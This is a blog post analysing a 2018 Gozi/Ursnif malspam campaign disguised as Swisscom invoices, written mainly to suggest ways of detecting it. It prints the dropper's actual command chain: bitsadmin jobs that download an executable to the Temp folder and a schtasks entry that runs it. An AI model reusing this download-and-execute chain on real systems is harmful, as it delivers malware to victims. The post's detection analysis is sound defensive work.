Monday, August 6, 2018

Gozi malspam campaign mimicking Swisscom on 30th July 2018

A few days ago informed via twitter about a malspam campaign mimicking Swisscom invoices.

The malware delivered in the latest stage was Gozi / Ursnif. But let's analyse a bit this campaign.

The malspam campaign is based on e-mails mimicking invoices from the telco Swisscom and with a HTTP link to a ZIP file. The ZIP files contains an obfuscated Visual Basic Script (VBS)

The VBS was not detected by many AV:

The script executed the following commands:

C:\Windows\System32\cmd.exe' /c bitsadmin /transfer mxs5 C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe &

bitsadmin /create /download IUII &bitsadmin /addfile IUII C:\Users\user~1\AppData\Local\Temp/oXzEXmPNy.txt &

bitsadmin /setcustomheaders IUII User-Agent:STARLEX &

bitsadmin /resume IUII &bitsadmin /complete IUII &

schtasks /create /st 17:10 /sc once /tn sw3 /tr C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe

It is interesting to see how the command 'bitsadmin' is used to drop the payload from "" . This technique is well known to be used by malware so it is a must to monitor such process, for example via Sysmon.
Also, the fact that the user-agent is setup to "STARLEX" makes this campaign unique, however, looking to the network traffic, it seems that this never worked and it used the default bitsadmin user-agent:

In any case, monitoring the user agent either for strange names or "Microsoft BITS" will provide good insight about suspicious activity.
The last two steps are related to the schedule task created via "schtasks" command. This is a good technique to delay automatic malware sandbox analysis, but it is also very easy to detect via proper detection use cases. Two things here can be monitored: the command "schtasks /create" and the fact that a binary under the "AppData" folder is called. Generally talking there should not be binaries being called from *AppData* as this is also a suspicious activity.

Clearly, this Gozi campaign was very noisy and easy to detect with some basic use cases.

Regarding the analysis of the Gozi binary dropped, there are a couple o interesting things. First, it was signed with a valid certificate:

And this same certificate was used to sign other Gozi binary used in other campaign in other country the same day. 

Secondly, it seems the malware had some debug code enabled which showed the version of the code (version 3 build 613)

The last point is that this version of Gozi/URsnif seems to be based on this leak ISFB source code on account that the DGA CRC matches '0x4eb7d2ca' together with the DGA base URL ""

However this version of Gozi is not using the DGA feature,  but the URL acting as C2 is hardcoded